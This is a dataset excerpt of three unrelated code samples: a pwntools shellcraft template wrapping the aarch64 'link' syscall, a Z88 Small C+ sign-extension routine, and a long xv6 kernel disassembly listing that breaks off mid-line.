text
stringlengths
1
1.05M
<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="from_, to"/> <%docstring> Invokes the syscall link. See 'man 2 link' for more information. Arguments: from(char): from to(char): to </%docstring> ${syscall('SYS_link', from_, to)}
; Z88 Small C+ Run time Library ; Moved functions over to proper libdefs ; To make startup code smaller and neater! ; ; 6/9/98 djm PUBLIC l_gchar ; fetch char from (HL) and sign extend into HL .l_gchar ld a,(hl) .l_sxt ld l,a rlca sbc a,a ld h,a ret
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 a0 10 00 mov $0x10a000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc c0 c5 10 80 mov $0x8010c5c0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 40 30 10 80 mov $0x80103040,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: f3 0f 1e fb endbr32 80100044: 55 push %ebp 80100045: 89 e5 mov %esp,%ebp 80100047: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100048: bb f4 c5 10 80 mov $0x8010c5f4,%ebx { 8010004d: 83 ec 0c sub $0xc,%esp initlock(&bcache.lock, "bcache"); 80100050: 68 e0 77 10 80 push $0x801077e0 80100055: 68 c0 c5 10 80 push $0x8010c5c0 8010005a: e8 61 49 00 00 call 801049c0 <initlock> bcache.head.next = &bcache.head; 8010005f: 83 c4 10 add $0x10,%esp 80100062: b8 bc 0c 11 80 mov $0x80110cbc,%eax bcache.head.prev = &bcache.head; 80100067: c7 05 0c 0d 11 80 bc movl $0x80110cbc,0x80110d0c 8010006e: 0c 11 80 bcache.head.next = &bcache.head; 80100071: c7 05 10 0d 11 80 bc movl $0x80110cbc,0x80110d10 80100078: 0c 11 80 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 8010007b: eb 05 jmp 80100082 <binit+0x42> 8010007d: 8d 76 00 lea 0x0(%esi),%esi 80100080: 89 d3 mov %edx,%ebx b->next = bcache.head.next; 80100082: 89 43 54 mov %eax,0x54(%ebx) b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); 80100085: 83 ec 08 sub $0x8,%esp 80100088: 8d 43 0c lea 0xc(%ebx),%eax b->prev = &bcache.head; 8010008b: c7 43 50 bc 0c 11 80 movl $0x80110cbc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100092: 68 e7 77 10 80 push $0x801077e7 80100097: 50 push %eax 80100098: e8 e3 47 00 00 call 80104880 <initsleeplock> bcache.head.next->prev = b; 8010009d: a1 10 0d 11 80 mov 0x80110d10,%eax for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a2: 8d 93 5c 02 00 00 lea 0x25c(%ebx),%edx 801000a8: 83 c4 10 add $0x10,%esp bcache.head.next->prev = b; 801000ab: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 801000ae: 89 d8 mov %ebx,%eax 801000b0: 89 1d 10 0d 11 80 mov %ebx,0x80110d10 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000b6: 81 fb 60 0a 11 80 cmp $0x80110a60,%ebx 801000bc: 75 c2 jne 80100080 <binit+0x40> } } 801000be: 8b 5d fc mov -0x4(%ebp),%ebx 801000c1: c9 leave 801000c2: c3 ret 801000c3: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: f3 0f 1e fb endbr32 801000d4: 55 push %ebp 801000d5: 89 e5 mov %esp,%ebp 801000d7: 57 push %edi 801000d8: 56 push %esi 801000d9: 53 push %ebx 801000da: 83 ec 18 sub $0x18,%esp 801000dd: 8b 7d 08 mov 0x8(%ebp),%edi 801000e0: 8b 75 0c mov 0xc(%ebp),%esi acquire(&bcache.lock); 801000e3: 68 c0 c5 10 80 push $0x8010c5c0 801000e8: e8 53 4a 00 00 call 80104b40 <acquire> for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000ed: 8b 1d 10 0d 11 80 mov 0x80110d10,%ebx 801000f3: 83 c4 10 add $0x10,%esp 801000f6: 81 fb bc 0c 11 80 cmp $0x80110cbc,%ebx 801000fc: 75 0d jne 8010010b <bread+0x3b> 801000fe: eb 20 jmp 80100120 <bread+0x50> 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb bc 0c 11 80 cmp $0x80110cbc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 7b 04 cmp 0x4(%ebx),%edi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 73 08 cmp 0x8(%ebx),%esi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) release(&bcache.lock); 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010011f: 90 nop for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 0c 0d 11 80 mov 0x80110d0c,%ebx 80100126: 81 fb bc 0c 11 80 cmp $0x80110cbc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 70 jmp 801001a0 <bread+0xd0> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb bc 0c 11 80 cmp $0x80110cbc,%ebx 80100139: 74 65 je 801001a0 <bread+0xd0> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 7b 04 mov %edi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 73 08 mov %esi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: 83 ec 0c sub $0xc,%esp 8010015d: 68 c0 c5 10 80 push $0x8010c5c0 80100162: e8 99 4a 00 00 call 80104c00 <release> acquiresleep(&b->lock); 80100167: 8d 43 0c lea 0xc(%ebx),%eax 8010016a: 89 04 24 mov %eax,(%esp) 8010016d: e8 4e 47 00 00 call 801048c0 <acquiresleep> return b; 80100172: 83 c4 10 add $0x10,%esp struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100175: f6 03 02 testb $0x2,(%ebx) 80100178: 74 0e je 80100188 <bread+0xb8> iderw(b); } return b; } 8010017a: 8d 65 f4 lea -0xc(%ebp),%esp 8010017d: 89 d8 mov %ebx,%eax 8010017f: 5b pop %ebx 80100180: 5e pop %esi 80100181: 5f pop %edi 80100182: 5d pop %ebp 80100183: c3 ret 80100184: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi iderw(b); 80100188: 83 ec 0c sub $0xc,%esp 8010018b: 53 push %ebx 8010018c: e8 ef 20 00 00 call 80102280 <iderw> 80100191: 83 c4 10 add $0x10,%esp } 80100194: 8d 65 f4 lea -0xc(%ebp),%esp 80100197: 89 d8 mov %ebx,%eax 80100199: 5b pop %ebx 8010019a: 5e pop %esi 8010019b: 5f pop %edi 8010019c: 5d pop %ebp 8010019d: c3 ret 8010019e: 66 90 xchg %ax,%ax panic("bget: no buffers"); 801001a0: 83 ec 0c sub $0xc,%esp 801001a3: 68 ee 77 10 80 push $0x801077ee 801001a8: e8 e3 01 00 00 call 80100390 <panic> 801001ad: 8d 76 00 lea 0x0(%esi),%esi 801001b0 <bwrite>: // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001b0: f3 0f 1e fb endbr32 801001b4: 55 push %ebp 801001b5: 89 e5 mov %esp,%ebp 801001b7: 53 push %ebx 801001b8: 83 ec 10 sub $0x10,%esp 801001bb: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001be: 8d 43 0c lea 0xc(%ebx),%eax 801001c1: 50 push %eax 801001c2: e8 99 47 00 00 call 80104960 <holdingsleep> 801001c7: 83 c4 10 add $0x10,%esp 801001ca: 85 c0 test %eax,%eax 801001cc: 74 0f je 801001dd <bwrite+0x2d> panic("bwrite"); b->flags |= B_DIRTY; 801001ce: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001d1: 89 5d 08 mov %ebx,0x8(%ebp) } 801001d4: 8b 5d fc mov -0x4(%ebp),%ebx 801001d7: c9 leave iderw(b); 801001d8: e9 a3 20 00 00 jmp 80102280 <iderw> panic("bwrite"); 801001dd: 83 ec 0c sub $0xc,%esp 801001e0: 68 ff 77 10 80 push $0x801077ff 801001e5: e8 a6 01 00 00 call 80100390 <panic> 801001ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801001f0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001f0: f3 0f 1e fb endbr32 801001f4: 55 push %ebp 801001f5: 89 e5 mov %esp,%ebp 801001f7: 56 push %esi 801001f8: 53 push %ebx 801001f9: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001fc: 8d 73 0c lea 0xc(%ebx),%esi 801001ff: 83 ec 0c sub $0xc,%esp 80100202: 56 push %esi 80100203: e8 58 47 00 00 call 80104960 <holdingsleep> 80100208: 83 c4 10 add $0x10,%esp 8010020b: 85 c0 test %eax,%eax 8010020d: 74 66 je 80100275 <brelse+0x85> panic("brelse"); releasesleep(&b->lock); 8010020f: 83 ec 0c sub $0xc,%esp 80100212: 56 push %esi 80100213: e8 08 47 00 00 call 80104920 <releasesleep> acquire(&bcache.lock); 80100218: c7 04 24 c0 c5 10 80 movl $0x8010c5c0,(%esp) 8010021f: e8 1c 49 00 00 call 80104b40 <acquire> b->refcnt--; 80100224: 8b 43 4c mov 0x4c(%ebx),%eax if (b->refcnt == 0) { 80100227: 83 c4 10 add $0x10,%esp b->refcnt--; 8010022a: 83 e8 01 sub $0x1,%eax 8010022d: 89 43 4c mov %eax,0x4c(%ebx) if (b->refcnt == 0) { 80100230: 85 c0 test %eax,%eax 80100232: 75 2f jne 80100263 <brelse+0x73> // no one is waiting for it. b->next->prev = b->prev; 80100234: 8b 43 54 mov 0x54(%ebx),%eax 80100237: 8b 53 50 mov 0x50(%ebx),%edx 8010023a: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 8010023d: 8b 43 50 mov 0x50(%ebx),%eax 80100240: 8b 53 54 mov 0x54(%ebx),%edx 80100243: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100246: a1 10 0d 11 80 mov 0x80110d10,%eax b->prev = &bcache.head; 8010024b: c7 43 50 bc 0c 11 80 movl $0x80110cbc,0x50(%ebx) b->next = bcache.head.next; 80100252: 89 43 54 mov %eax,0x54(%ebx) bcache.head.next->prev = b; 80100255: a1 10 0d 11 80 mov 0x80110d10,%eax 8010025a: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 8010025d: 89 1d 10 0d 11 80 mov %ebx,0x80110d10 } release(&bcache.lock); 80100263: c7 45 08 c0 c5 10 80 movl $0x8010c5c0,0x8(%ebp) } 8010026a: 8d 65 f8 lea -0x8(%ebp),%esp 8010026d: 5b pop %ebx 8010026e: 5e pop %esi 8010026f: 5d pop %ebp release(&bcache.lock); 80100270: e9 8b 49 00 00 jmp 80104c00 <release> panic("brelse"); 80100275: 83 ec 0c sub $0xc,%esp 80100278: 68 06 78 10 80 push $0x80107806 8010027d: e8 0e 01 00 00 call 80100390 <panic> 80100282: 66 90 xchg %ax,%ax 80100284: 66 90 xchg %ax,%ax 80100286: 66 90 xchg %ax,%ax 80100288: 66 90 xchg %ax,%ax 8010028a: 66 90 xchg %ax,%ax 8010028c: 66 90 xchg %ax,%ax 8010028e: 66 90 xchg %ax,%ax 80100290 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100290: f3 0f 1e fb endbr32 80100294: 55 push %ebp 80100295: 89 e5 mov %esp,%ebp 80100297: 57 push %edi 80100298: 56 push %esi 80100299: 53 push %ebx 8010029a: 83 ec 18 sub $0x18,%esp uint target; int c; iunlock(ip); 8010029d: ff 75 08 pushl 0x8(%ebp) { 801002a0: 8b 5d 10 mov 0x10(%ebp),%ebx target = n; 801002a3: 89 de mov %ebx,%esi iunlock(ip); 801002a5: e8 96 15 00 00 call 80101840 <iunlock> acquire(&cons.lock); 801002aa: c7 04 24 20 b5 10 80 movl $0x8010b520,(%esp) 801002b1: e8 8a 48 00 00 call 80104b40 <acquire> // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 801002b6: 8b 7d 0c mov 0xc(%ebp),%edi while(n > 0){ 801002b9: 83 c4 10 add $0x10,%esp *dst++ = c; 801002bc: 01 df add %ebx,%edi while(n > 0){ 801002be: 85 db test %ebx,%ebx 801002c0: 0f 8e 97 00 00 00 jle 8010035d <consoleread+0xcd> while(input.r == input.w){ 801002c6: a1 a0 0f 11 80 mov 0x80110fa0,%eax 801002cb: 3b 05 a4 0f 11 80 cmp 0x80110fa4,%eax 801002d1: 74 27 je 801002fa <consoleread+0x6a> 801002d3: eb 5b jmp 80100330 <consoleread+0xa0> 801002d5: 8d 76 00 lea 0x0(%esi),%esi sleep(&input.r, &cons.lock); 801002d8: 83 ec 08 sub $0x8,%esp 801002db: 68 20 b5 10 80 push $0x8010b520 801002e0: 68 a0 0f 11 80 push $0x80110fa0 801002e5: e8 66 40 00 00 call 80104350 <sleep> while(input.r == input.w){ 801002ea: a1 a0 0f 11 80 mov 0x80110fa0,%eax 801002ef: 83 c4 10 add $0x10,%esp 801002f2: 3b 05 a4 0f 11 80 cmp 0x80110fa4,%eax 801002f8: 75 36 jne 80100330 <consoleread+0xa0> if(myproc()->killed){ 801002fa: e8 91 36 00 00 call 80103990 <myproc> 801002ff: 8b 48 24 mov 0x24(%eax),%ecx 80100302: 85 c9 test %ecx,%ecx 80100304: 74 d2 je 801002d8 <consoleread+0x48> release(&cons.lock); 80100306: 83 ec 0c sub $0xc,%esp 80100309: 68 20 b5 10 80 push $0x8010b520 8010030e: e8 ed 48 00 00 call 80104c00 <release> ilock(ip); 80100313: 5a pop %edx 80100314: ff 75 08 pushl 0x8(%ebp) 80100317: e8 44 14 00 00 call 80101760 <ilock> return -1; 8010031c: 83 c4 10 add $0x10,%esp } release(&cons.lock); ilock(ip); return target - n; } 8010031f: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80100322: b8 ff ff ff ff mov $0xffffffff,%eax } 80100327: 5b pop %ebx 80100328: 5e pop %esi 80100329: 5f pop %edi 8010032a: 5d pop %ebp 8010032b: c3 ret 8010032c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = input.buf[input.r++ % INPUT_BUF]; 80100330: 8d 50 01 lea 0x1(%eax),%edx 80100333: 89 15 a0 0f 11 80 mov %edx,0x80110fa0 80100339: 89 c2 mov %eax,%edx 8010033b: 83 e2 7f and $0x7f,%edx 8010033e: 0f be 8a 20 0f 11 80 movsbl -0x7feef0e0(%edx),%ecx if(c == C('D')){ // EOF 80100345: 80 f9 04 cmp $0x4,%cl 80100348: 74 38 je 80100382 <consoleread+0xf2> *dst++ = c; 8010034a: 89 d8 mov %ebx,%eax --n; 8010034c: 83 eb 01 sub $0x1,%ebx *dst++ = c; 8010034f: f7 d8 neg %eax 80100351: 88 0c 07 mov %cl,(%edi,%eax,1) if(c == '\n') 80100354: 83 f9 0a cmp $0xa,%ecx 80100357: 0f 85 61 ff ff ff jne 801002be <consoleread+0x2e> release(&cons.lock); 8010035d: 83 ec 0c sub $0xc,%esp 80100360: 68 20 b5 10 80 push $0x8010b520 80100365: e8 96 48 00 00 call 80104c00 <release> ilock(ip); 8010036a: 58 pop %eax 8010036b: ff 75 08 pushl 0x8(%ebp) 8010036e: e8 ed 13 00 00 call 80101760 <ilock> return target - n; 80100373: 89 f0 mov %esi,%eax 80100375: 83 c4 10 add $0x10,%esp } 80100378: 8d 65 f4 lea -0xc(%ebp),%esp return target - n; 8010037b: 29 d8 sub %ebx,%eax } 8010037d: 5b pop %ebx 8010037e: 5e pop %esi 8010037f: 5f pop %edi 80100380: 5d pop %ebp 80100381: c3 ret if(n < target){ 80100382: 39 f3 cmp %esi,%ebx 80100384: 73 d7 jae 8010035d <consoleread+0xcd> input.r--; 80100386: a3 a0 0f 11 80 mov %eax,0x80110fa0 8010038b: eb d0 jmp 8010035d <consoleread+0xcd> 8010038d: 8d 76 00 lea 0x0(%esi),%esi 80100390 <panic>: { 80100390: f3 0f 1e fb endbr32 80100394: 55 push %ebp 80100395: 89 e5 mov %esp,%ebp 80100397: 56 push %esi 80100398: 53 push %ebx 80100399: 83 ec 30 sub $0x30,%esp } static inline void cli(void) { asm volatile("cli"); 8010039c: fa cli cons.locking = 0; 8010039d: c7 05 54 b5 10 80 00 movl $0x0,0x8010b554 801003a4: 00 00 00 getcallerpcs(&s, pcs); 801003a7: 8d 5d d0 lea -0x30(%ebp),%ebx 801003aa: 8d 75 f8 lea -0x8(%ebp),%esi cprintf("lapicid %d: panic: ", lapicid()); 801003ad: e8 ee 24 00 00 call 801028a0 <lapicid> 801003b2: 83 ec 08 sub $0x8,%esp 801003b5: 50 push %eax 801003b6: 68 0d 78 10 80 push $0x8010780d 801003bb: e8 f0 02 00 00 call 801006b0 <cprintf> cprintf(s); 801003c0: 58 pop %eax 801003c1: ff 75 08 pushl 0x8(%ebp) 801003c4: e8 e7 02 00 00 call 801006b0 <cprintf> cprintf("\n"); 801003c9: c7 04 24 71 7d 10 80 movl $0x80107d71,(%esp) 801003d0: e8 db 02 00 00 call 801006b0 <cprintf> getcallerpcs(&s, pcs); 801003d5: 8d 45 08 lea 0x8(%ebp),%eax 801003d8: 5a pop %edx 801003d9: 59 pop %ecx 801003da: 53 push %ebx 801003db: 50 push %eax 801003dc: e8 ff 45 00 00 call 801049e0 <getcallerpcs> for(i=0; i<10; i++) 801003e1: 83 c4 10 add $0x10,%esp cprintf(" %p", pcs[i]); 801003e4: 83 ec 08 sub $0x8,%esp 801003e7: ff 33 pushl (%ebx) 801003e9: 83 c3 04 add $0x4,%ebx 801003ec: 68 21 78 10 80 push $0x80107821 801003f1: e8 ba 02 00 00 call 801006b0 <cprintf> for(i=0; i<10; i++) 801003f6: 83 c4 10 add $0x10,%esp 801003f9: 39 f3 cmp %esi,%ebx 801003fb: 75 e7 jne 801003e4 <panic+0x54> panicked = 1; // freeze other CPU 801003fd: c7 05 58 b5 10 80 01 movl $0x1,0x8010b558 80100404: 00 00 00 for(;;) 80100407: eb fe jmp 80100407 <panic+0x77> 80100409: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100410 <consputc.part.0>: consputc(int c) 80100410: 55 push %ebp 80100411: 89 e5 mov %esp,%ebp 80100413: 57 push %edi 80100414: 56 push %esi 80100415: 53 push %ebx 80100416: 89 c3 mov %eax,%ebx 80100418: 83 ec 1c sub $0x1c,%esp if(c == BACKSPACE){ 8010041b: 3d 00 01 00 00 cmp $0x100,%eax 80100420: 0f 84 ea 00 00 00 je 80100510 <consputc.part.0+0x100> uartputc(c); 80100426: 83 ec 0c sub $0xc,%esp 80100429: 50 push %eax 8010042a: e8 a1 5f 00 00 call 801063d0 <uartputc> 8010042f: 83 c4 10 add $0x10,%esp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100432: bf d4 03 00 00 mov $0x3d4,%edi 80100437: b8 0e 00 00 00 mov $0xe,%eax 8010043c: 89 fa mov %edi,%edx 8010043e: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010043f: b9 d5 03 00 00 mov $0x3d5,%ecx 80100444: 89 ca mov %ecx,%edx 80100446: ec in (%dx),%al pos = inb(CRTPORT+1) << 8; 80100447: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010044a: 89 fa mov %edi,%edx 8010044c: c1 e0 08 shl $0x8,%eax 8010044f: 89 c6 mov %eax,%esi 80100451: b8 0f 00 00 00 mov $0xf,%eax 80100456: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100457: 89 ca mov %ecx,%edx 80100459: ec in (%dx),%al pos |= inb(CRTPORT+1); 8010045a: 0f b6 c0 movzbl %al,%eax 8010045d: 09 f0 or %esi,%eax if(c == '\n') 8010045f: 83 fb 0a cmp $0xa,%ebx 80100462: 0f 84 90 00 00 00 je 801004f8 <consputc.part.0+0xe8> else if(c == BACKSPACE){ 80100468: 81 fb 00 01 00 00 cmp $0x100,%ebx 8010046e: 74 70 je 801004e0 <consputc.part.0+0xd0> crt[pos++] = (c&0xff) | 0x0700; // black on white 80100470: 0f b6 db movzbl %bl,%ebx 80100473: 8d 70 01 lea 0x1(%eax),%esi 80100476: 80 cf 07 or $0x7,%bh 80100479: 66 89 9c 00 00 80 0b mov %bx,-0x7ff48000(%eax,%eax,1) 80100480: 80 if(pos < 0 || pos > 25*80) 80100481: 81 fe d0 07 00 00 cmp $0x7d0,%esi 80100487: 0f 8f f9 00 00 00 jg 80100586 <consputc.part.0+0x176> if((pos/80) >= 24){ // Scroll up. 8010048d: 81 fe 7f 07 00 00 cmp $0x77f,%esi 80100493: 0f 8f a7 00 00 00 jg 80100540 <consputc.part.0+0x130> 80100499: 89 f0 mov %esi,%eax 8010049b: 8d b4 36 00 80 0b 80 lea -0x7ff48000(%esi,%esi,1),%esi 801004a2: 88 45 e7 mov %al,-0x19(%ebp) 801004a5: 0f b6 fc movzbl %ah,%edi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801004a8: bb d4 03 00 00 mov $0x3d4,%ebx 801004ad: b8 0e 00 00 00 mov $0xe,%eax 801004b2: 89 da mov %ebx,%edx 801004b4: ee out %al,(%dx) 801004b5: b9 d5 03 00 00 mov $0x3d5,%ecx 801004ba: 89 f8 mov %edi,%eax 801004bc: 89 ca mov %ecx,%edx 801004be: ee out %al,(%dx) 801004bf: b8 0f 00 00 00 mov $0xf,%eax 801004c4: 89 da mov %ebx,%edx 801004c6: ee out %al,(%dx) 801004c7: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 801004cb: 89 ca mov %ecx,%edx 801004cd: ee out %al,(%dx) crt[pos] = ' ' | 0x0700; 801004ce: b8 20 07 00 00 mov $0x720,%eax 801004d3: 66 89 06 mov %ax,(%esi) } 801004d6: 8d 65 f4 lea -0xc(%ebp),%esp 801004d9: 5b pop %ebx 801004da: 5e pop %esi 801004db: 5f pop %edi 801004dc: 5d pop %ebp 801004dd: c3 ret 801004de: 66 90 xchg %ax,%ax if(pos > 0) --pos; 801004e0: 8d 70 ff lea -0x1(%eax),%esi 801004e3: 85 c0 test %eax,%eax 801004e5: 75 9a jne 80100481 <consputc.part.0+0x71> 801004e7: c6 45 e7 00 movb $0x0,-0x19(%ebp) 801004eb: be 00 80 0b 80 mov $0x800b8000,%esi 801004f0: 31 ff xor %edi,%edi 801004f2: eb b4 jmp 801004a8 <consputc.part.0+0x98> 801004f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi pos += 80 - pos%80; 801004f8: ba cd cc cc cc mov $0xcccccccd,%edx 801004fd: f7 e2 mul %edx 801004ff: c1 ea 06 shr $0x6,%edx 80100502: 8d 04 92 lea (%edx,%edx,4),%eax 80100505: c1 e0 04 shl $0x4,%eax 80100508: 8d 70 50 lea 0x50(%eax),%esi 8010050b: e9 71 ff ff ff jmp 80100481 <consputc.part.0+0x71> uartputc('\b'); uartputc(' '); uartputc('\b'); 80100510: 83 ec 0c sub $0xc,%esp 80100513: 6a 08 push $0x8 80100515: e8 b6 5e 00 00 call 801063d0 <uartputc> 8010051a: c7 04 24 20 00 00 00 movl $0x20,(%esp) 80100521: e8 aa 5e 00 00 call 801063d0 <uartputc> 80100526: c7 04 24 08 00 00 00 movl $0x8,(%esp) 8010052d: e8 9e 5e 00 00 call 801063d0 <uartputc> 80100532: 83 c4 10 add $0x10,%esp 80100535: e9 f8 fe ff ff jmp 80100432 <consputc.part.0+0x22> 8010053a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi memmove(crt, crt+80, sizeof(crt[0])*23*80); 80100540: 83 ec 04 sub $0x4,%esp pos -= 80; 80100543: 8d 5e b0 lea -0x50(%esi),%ebx memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100546: 8d b4 36 60 7f 0b 80 lea -0x7ff480a0(%esi,%esi,1),%esi 8010054d: bf 07 00 00 00 mov $0x7,%edi memmove(crt, crt+80, sizeof(crt[0])*23*80); 80100552: 68 60 0e 00 00 push $0xe60 80100557: 68 a0 80 0b 80 push $0x800b80a0 8010055c: 68 00 80 0b 80 push $0x800b8000 80100561: e8 8a 47 00 00 call 80104cf0 <memmove> memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100566: b8 80 07 00 00 mov $0x780,%eax 8010056b: 83 c4 0c add $0xc,%esp 8010056e: 29 d8 sub %ebx,%eax 80100570: 01 c0 add %eax,%eax 80100572: 50 push %eax 80100573: 6a 00 push $0x0 80100575: 56 push %esi 80100576: e8 d5 46 00 00 call 80104c50 <memset> 8010057b: 88 5d e7 mov %bl,-0x19(%ebp) 8010057e: 83 c4 10 add $0x10,%esp 80100581: e9 22 ff ff ff jmp 801004a8 <consputc.part.0+0x98> panic("pos under/overflow"); 80100586: 83 ec 0c sub $0xc,%esp 80100589: 68 25 78 10 80 push $0x80107825 8010058e: e8 fd fd ff ff call 80100390 <panic> 80100593: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010059a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005a0 <printint>: { 801005a0: 55 push %ebp 801005a1: 89 e5 mov %esp,%ebp 801005a3: 57 push %edi 801005a4: 56 push %esi 801005a5: 53 push %ebx 801005a6: 83 ec 2c sub $0x2c,%esp 801005a9: 89 55 d4 mov %edx,-0x2c(%ebp) if(sign && (sign = xx < 0)) 801005ac: 85 c9 test %ecx,%ecx 801005ae: 74 04 je 801005b4 <printint+0x14> 801005b0: 85 c0 test %eax,%eax 801005b2: 78 6d js 80100621 <printint+0x81> x = xx; 801005b4: 89 c1 mov %eax,%ecx 801005b6: 31 f6 xor %esi,%esi i = 0; 801005b8: 89 75 cc mov %esi,-0x34(%ebp) 801005bb: 31 db xor %ebx,%ebx 801005bd: 8d 7d d7 lea -0x29(%ebp),%edi buf[i++] = digits[x % base]; 801005c0: 89 c8 mov %ecx,%eax 801005c2: 31 d2 xor %edx,%edx 801005c4: 89 ce mov %ecx,%esi 801005c6: f7 75 d4 divl -0x2c(%ebp) 801005c9: 0f b6 92 50 78 10 80 movzbl -0x7fef87b0(%edx),%edx 801005d0: 89 45 d0 mov %eax,-0x30(%ebp) 801005d3: 89 d8 mov %ebx,%eax 801005d5: 8d 5b 01 lea 0x1(%ebx),%ebx }while((x /= base) != 0); 801005d8: 8b 4d d0 mov -0x30(%ebp),%ecx 801005db: 89 75 d0 mov %esi,-0x30(%ebp) buf[i++] = digits[x % base]; 801005de: 88 14 1f mov %dl,(%edi,%ebx,1) }while((x /= base) != 0); 801005e1: 8b 75 d4 mov -0x2c(%ebp),%esi 801005e4: 39 75 d0 cmp %esi,-0x30(%ebp) 801005e7: 73 d7 jae 801005c0 <printint+0x20> 801005e9: 8b 75 cc mov -0x34(%ebp),%esi if(sign) 801005ec: 85 f6 test %esi,%esi 801005ee: 74 0c je 801005fc <printint+0x5c> buf[i++] = '-'; 801005f0: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1) buf[i++] = digits[x % base]; 801005f5: 89 d8 mov %ebx,%eax buf[i++] = '-'; 801005f7: ba 2d 00 00 00 mov $0x2d,%edx while(--i >= 0) 801005fc: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 80100600: 0f be c2 movsbl %dl,%eax if(panicked){ 80100603: 8b 15 58 b5 10 80 mov 0x8010b558,%edx 80100609: 85 d2 test %edx,%edx 8010060b: 74 03 je 80100610 <printint+0x70> asm 